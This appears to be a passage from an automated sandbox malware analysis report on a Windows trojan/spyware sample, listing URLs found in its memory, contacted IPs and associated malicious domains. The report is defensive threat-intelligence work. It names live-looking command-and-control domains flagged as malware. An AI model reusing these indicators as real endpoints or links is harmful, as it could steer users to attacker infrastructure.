https://www.youtube.com/	nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000147F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/privacy_agreement/	nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021249282.000000000450A000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021298673.00000000014E1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994365862.00000000044AA000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994449245.0000000001519000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng	nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021457765.00000000014DA000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1046939719.00000000014DC000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1045634437.00000000014DB000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021677883.00000000014DD000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000148F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bugildbett.top:443/bAuzaMicrosoft	nvtoaldlrg.exe, 00000000.00000003.994650409.000000000146B000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1046759978.000000000146B000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000146B000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.921555375.000000000146B000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.923936426.000000000146B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://steamcommunity.com/-M	nvtoaldlrg.exe, 00000000.00000003.1021298673.00000000014E1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/%M	nvtoaldlrg.exe, 00000000.00000003.922358612.00000000014F9000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.921555375.00000000014F9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/recaptcha/	nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000147F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://checkout.steampowered.com/	nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000147F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.enigmaprotector.com/	nvtoaldlrg.exe, 00000000.00000002.1045933046.0000000000B1F000.00000040.00000001.01000000.00000003.sdmp	false		high
https://gemini.google.com/app?q=	nvtoaldlrg.exe, 00000000.00000003.842683097.00000000044D9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://store.steampowered.com/;	nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044B7000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1048252866.00000000044B7000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044B7000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994650409.000000000147F000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1048162417.00000000044A2000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1046759978.000000000147F000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1045441184.00000000044B7000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000147F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/about/	nvtoaldlrg.exe, 00000000.00000003.994449245.0000000001519000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/my/wishlist/	nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021249282.000000000450A000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021298673.00000000014E1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994365862.00000000044AA000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994449245.0000000001519000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&	nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021457765.00000000014DA000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1046939719.00000000014DC000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1045634437.00000000014DB000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021479952.0000000001464000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1045283888.0000000001514000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021677883.00000000014DD000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994365862.00000000044AA000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1047004011.0000000001514000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000148F000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994470945.0000000001514000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/EB	nvtoaldlrg.exe, 00000000.00000003.1021298673.00000000014E1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1046939719.00000000014E7000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994573747.00000000014F9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamloopback.host	nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000147F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/profiles/76561199822375128O	nvtoaldlrg.exe, 00000000.00000003.922358612.00000000014F9000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.921555375.00000000014F9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://help.steampowered.com/en/	nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021249282.000000000450A000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021298673.00000000014E1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994365862.00000000044AA000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994449245.0000000001519000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/market/	nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021249282.000000000450A000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021298673.00000000014E1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994365862.00000000044AA000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994449245.0000000001519000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/news/	nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021249282.000000000450A000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021298673.00000000014E1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994365862.00000000044AA000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994449245.0000000001519000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.enigmaprotector.com/openU	nvtoaldlrg.exe, 00000000.00000002.1045933046.0000000000B1F000.00000040.00000001.01000000.00000003.sdmp	false		high
https://steamcommunity.com/profiles/76561199822375128e	nvtoaldlrg.exe, 00000000.00000003.994650409.000000000147F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	nvtoaldlrg.exe, 00000000.00000003.842683097.00000000044D9000.00000004.00000800.00020000.00000000.sdmp	false		high
http://store.steampowered.com/subscriber_agreement/	nvtoaldlrg.exe, 00000000.00000003.1045441184.00000000044DB000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021249282.000000000450A000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1045687411.00000000014D0000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021655764.00000000014D0000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1045441184.00000000044C7000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994650409.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1046918483.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044C7000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1047024427.000000000151E000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044C7000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994449245.0000000001519000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000148F000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1048252866.00000000044C7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org	nvtoaldlrg.exe, 00000000.00000003.1045441184.00000000044DB000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021249282.000000000450A000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1045687411.00000000014D0000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021655764.00000000014D0000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1045441184.00000000044C7000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994650409.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1046918483.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044C7000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1047024427.000000000151E000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044C7000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994449245.0000000001519000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000148F000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1048252866.00000000044C7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://featureccus.shop:443/bdMAn	nvtoaldlrg.exe, 00000000.00000003.921555375.000000000146B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://recaptcha.net/recaptcha/;	nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000147F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/profiles/76561199822375128.36_	nvtoaldlrg.exe, 00000000.00000003.923936426.000000000148F000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.921555375.000000000148F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=Eq36AUaEgab8&l=en	nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021457765.00000000014DA000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1046939719.00000000014DC000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1045634437.00000000014DB000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021479952.0000000001464000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1045283888.0000000001514000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021677883.00000000014DD000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994365862.00000000044AA000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1047004011.0000000001514000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000148F000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994470945.0000000001514000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/discussions/	nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021249282.000000000450A000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021298673.00000000014E1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994365862.00000000044AA000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994449245.0000000001519000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/MB	nvtoaldlrg.exe, 00000000.00000003.923852702.00000000014F9000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.922358612.00000000014F9000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.921555375.00000000014F9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=39xC	nvtoaldlrg.exe, 00000000.00000003.1045441184.00000000044DB000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021457765.00000000014DA000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021249282.000000000450A000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021298673.00000000014E1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1045441184.00000000044C7000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994650409.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044C7000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1047024427.000000000151E000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044C7000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994449245.0000000001519000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1048252866.00000000044C7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_alldp.ico	nvtoaldlrg.exe, 00000000.00000003.842683097.00000000044D9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://steamcommunity.com/profiles/76561199822375128mB	nvtoaldlrg.exe, 00000000.00000003.923852702.00000000014F9000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.922358612.00000000014F9000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.921555375.00000000014F9000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994573747.00000000014F9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/stats/	nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021249282.000000000450A000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021298673.00000000014E1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994365862.00000000044AA000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994449245.0000000001519000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/globalv2.css?v=GlKQ1cghJWE2&l=english&_c	nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021457765.00000000014DA000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1046939719.00000000014DC000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1045634437.00000000014DB000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021479952.0000000001464000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1045283888.0000000001514000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021677883.00000000014DD000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994365862.00000000044AA000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1047004011.0000000001514000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000148F000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994470945.0000000001514000.00000004.00000020.00020000.00000000.sdmp	false		high
https://medal.tv	nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000147F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://broadcast.st.dl.eccdnx.com	nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000147F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021249282.000000000450A000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021298673.00000000014E1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994365862.00000000044AA000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994449245.0000000001519000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a	nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021457765.00000000014DA000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1046939719.00000000014DC000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1045634437.00000000014DB000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021479952.0000000001464000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1045283888.0000000001514000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021677883.00000000014DD000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994365862.00000000044AA000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1047004011.0000000001514000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000148F000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994470945.0000000001514000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/steam_refunds/	nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021249282.000000000450A000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021298673.00000000014E1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994365862.00000000044AA000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994449245.0000000001519000.00000004.00000020.00020000.00000000.sdmp	false		high
https://citydisco.bet/gd	nvtoaldlrg.exe, 00000000.00000003.923936426.000000000147F000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994650409.000000000147F000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.921555375.000000000147F000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1046759978.000000000147F000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000147F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://steamcommunity.com/F	nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000148F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	nvtoaldlrg.exe, 00000000.00000003.889801356.00000000047CD000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	nvtoaldlrg.exe, 00000000.00000003.889801356.00000000047CD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	nvtoaldlrg.exe, 00000000.00000003.842683097.00000000044D9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016	nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021249282.000000000450A000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021298673.00000000014E1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994365862.00000000044AA000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994449245.0000000001519000.00000004.00000020.00020000.00000000.sdmp	false		high
https://latchclan.shop:443/Wjquw	nvtoaldlrg.exe, 00000000.00000003.994650409.000000000146B000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1046759978.000000000146B000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000146B000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.921555375.000000000146B000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.923936426.000000000146B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.48.1	htardwarehu.icu	United States	13335	CLOUDFLARENETUS	false
104.21.16.1	bugildbett.top	United States	13335	CLOUDFLARENETUS	false
188.114.97.3	jowinjoinery.icu	European Union	13335	CLOUDFLARENETUS	false
104.21.96.1	mrodularmall.top	United States	13335	CLOUDFLARENETUS	false
188.114.96.3	legenassedk.top	European Union	13335	CLOUDFLARENETUS	false
104.73.234.102	steamcommunity.com	United States	16625	AKAMAI-ASUS	false
104.21.80.1	cjlaspcorne.icu	United States	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1637345
Start date and time:	2025-03-13 14:57:17 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 53s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	nvtoaldlrg.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/0@11/7
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, sppsvc.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 4.175.87.197, 23.199.214.10, 23.60.203.209
Excluded domains from analysis (whitelisted): fs.microsoft.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, c.pki.goog, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
09:58:08	API Interceptor	9x Sleep call for process: nvtoaldlrg.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.48.1	345623.bat	Get hash	malicious	DBatLoader, FormBook	Browse	www.shlomi.app/9rzh/
	ySUB97Jq80.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.shlomi.app/9rzh/
	hQaXUS5gt0.exe	Get hash	malicious	FormBook	Browse	www.newanthoperso.shop/3nis/
	6nA8ZygZLP.exe	Get hash	malicious	FormBook	Browse	www.rbopisalive.cyou/2dxw/
	UhuGtHUgHf.exe	Get hash	malicious	FormBook	Browse	www.enoughmoney.online/z9gb/
	Bill_of_Lading_20250307_pdf.bat.exe	Get hash	malicious	Lokibot	Browse	touxzw.ir/sccc/five/fre.php
	Stormwater Works Drawings Spec.js	Get hash	malicious	FormBook	Browse	www.lucynoel6465.shop/jgkl/
	Shipment Delivery No DE0093002-PDF.exe	Get hash	malicious	Lokibot	Browse	touxzw.ir/tking3/five/fre.php
	Remittance_CT022024.exe	Get hash	malicious	Lokibot	Browse	touxzw.ir/fix/five/fre.php
	http://microsoft-sharepoint4543464633.pages.dev/index-2jc93/	Get hash	malicious	HTMLPhisher	Browse	microsoft-sharepoint4543464633.pages.dev/index-2jc93/
104.21.16.1	https://t.co/6BJID9q49h	Get hash	malicious	HTMLPhisher	Browse	tcerfw.wittnng.sbs/favicon.ico
	J8bamK92a3.exe	Get hash	malicious	FormBook	Browse	www.play-vanguard-nirvana.xyz/egs9/?9r=2m/uVQwqKH2EIWlawszTKzvIepBfVH/HI19qzylF05nDLsWuBLn1pb4DiFDKEzYOkwPMwL8bVA==&vZR=H2MpG0p
